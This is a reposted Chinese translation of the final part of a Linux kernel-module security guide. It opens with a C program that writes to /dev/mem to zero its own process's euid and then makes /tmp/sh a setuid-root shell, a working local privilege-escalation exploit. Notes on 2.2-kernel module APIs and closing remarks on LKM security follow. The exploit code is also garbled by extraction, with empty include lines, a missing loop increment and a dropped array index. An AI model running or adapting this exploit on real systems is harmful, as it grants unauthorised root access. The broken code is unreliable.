手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>网站运营>建站经验>列表

Linux系统可卸载内核模块完全指南(下)

来源:互联网 作者:west263.com 时间:2008-04-16
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!

  
  /*Nergal的作品*/
  
  #define SEEK_SET 0
  
  #define __KERNEL__
  
  #include
  
  #undef __KERNEL__
  
  #define SIZEOF sizeof(struct task_struct)
  
  int mem_fd;
  
  int mypid;
  
  void
  
  testtask (unsigned int mem_offset)
  
  {
  
  struct task_struct some_task;
  
  int uid, pid;
  
  lseek (mem_fd, mem_offset, SEEK_SET);
  
  read (mem_fd, &some_task, SIZEOF);
  
  if (some_task.pid == mypid)
  
  /*是我们的任务结构么?*/
  
  {
  
  some_task.euid = 0;
  
  some_task.fsuid = 0;
  
  /*chown需要这个*/
  
  lseek (mem_fd, mem_offset, SEEK_SET);
  
  write (mem_fd, &some_task, SIZEOF);
  
  /*从现在起,对于我们来说没有法律。。。*/
  
  chown ("/tmp/sh", 0, 0);
  
  chmod ("/tmp/sh", 04755);
  
  exit (0);
  
  }
  
  }
  
  #define KSTAT 0x001a8fb8
  
  /*《-改变这个地址为您的kstat*/
  
  main ()
  
  /*通过执行/proc/ksyms|grep kstat*/
  
  {
  
  unsigned int i;
  
  struct task_struct *task[NR_TASKS];
  
  unsigned int task_addr = KSTAT - NR_TASKS * 4;
  
  mem_fd = 3;
  
  
  /*假定要打开的是/dev/mem*/
  
  mypid = getpid ();
  
  lseek (mem_fd, task_addr, SEEK_SET);
  
  read (mem_fd, task, NR_TASKS * 4);
  
  for (i = 0; i < NR_TASKS; i )
  
  if (task)
  
  testtask ((unsigned int)(task));
  
  
  }
  
  这只但是是个例子,是为了告诉您不管怎么样,您总是能够找到一些方法的。对于有堆栈执行权限的系统,您能够找堆栈溢出,或跳到某些库函数(system(...)).会有很多方法……
  
  我希望这最后的一节能够给您一些如何继续的提示。
  
  ###adv###  第五部分 最近的一些东西:2.2.x版本的内核
  
  5.1 对于LKM作者来说,一些主要的不同点
  
  Linux有了一个新的主版本:2.2在LKM编程上,他带给我们一些小的改变。这一部分将会帮助您适应这些变化,并且列出了大的一些变化。[注意:关于新的版本的内核,会有另一个发布版本]
  
  我会向您介绍一些新的宏和函数来帮助您研发2.2版本的内核的LKM。要获得每一个确切的变化能够看新的头文档linux/module.h。这个文档在2.1.18版本的内核中被完全的重写了。首先让我们来看看一些能够帮助我们更方便的处理系统调用表的宏:
  
  宏描述
  
  EXPORT_NO_SYMBOLS:这一个相当于旧版本内核的register_symtab(NULL)
  
  EXPORT_SYMTAB:假如您想输出一些符号的话,必须在linux/module.h前面定义这个宏
  
  EXPORT_SYMBOL(name):输出名字叫'name'的宏
  
  EXPORT_SYMBOL_NOVERS(name):没有版本信息的输出符号
  
  用户空间的存取函数也有很大的变化。因此我会在这里列出来(只要包含asm/uaccess.h来使用他们):
  
  函数描述
  
  int access_ok (int type, unsigned long addr, unsigned long size);
  
  这个函数检查是否当前进程允许存取某个地址
  
  unsigned long copy_from_user (unsigned long to, unsigned long from,
  unsigned long len);
  
  这个是新的memcpy_tofs函数
  
  unsigned long copy_to_user (unsigned long to, unsigned long from, unsigned
  long len);
  
  这是相对应的copy_from_user(...)
  
  您没有必要使用access_ok(...),因为上面列出的函数都自己检查这个。更有许多不相同的地方,但是您能够看看linux/module.h来获得一个周详的列表。
  
  我最后想提一件事情。我写了很多关于内核守护进程(kerneld)的东西。2.2版的内核不会再使用kerneld了。他使用另外一种方法来实现内核空间的request_module(...)函数-叫做kmod。kmod完全是运行在内核空间的(不再IPC到用户空间了)。对于LKM程式员来说,没有什么大的变化。您还是能够使用request_module(...)来加载模块。因此LKM传染者还是能够在2.2的内核中使用。
  
  我很抱歉关于2.2内核只有这么少的东西。但是现在我正在写一个关于2.2内核安全的论文(特别是LKM的)。因此请注意新的THC发布的论文。我甚至计划工作在一些BSD系统上(FreeBSD,OpenBSD,例如)但是这会发几个月的时间。
  
  第六部分 最后的话
  
  6.1 LKM传奇连同如何使得一个系统即好用又安全
  
  您大概会感到奇怪,既然LKM这么的不安全,那么为什么要使用他们呢。最初LKM是被设计使得用户更为方便的。Linux和Microsoft相对立,因此研发者们需要一个使得老的Unxi系统更为吸引人和容易的方法。他们实现了KDE和其他很好的东西。比如说,kerneld就是被用来使得模块处理更为容易的。但是要记住,越为简单和自动化的系统就会有越多的安全问题。不可能同时使得一个系统既让用户感到很方便又有足够的安全性。模块就是个很好的这样的例子。

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!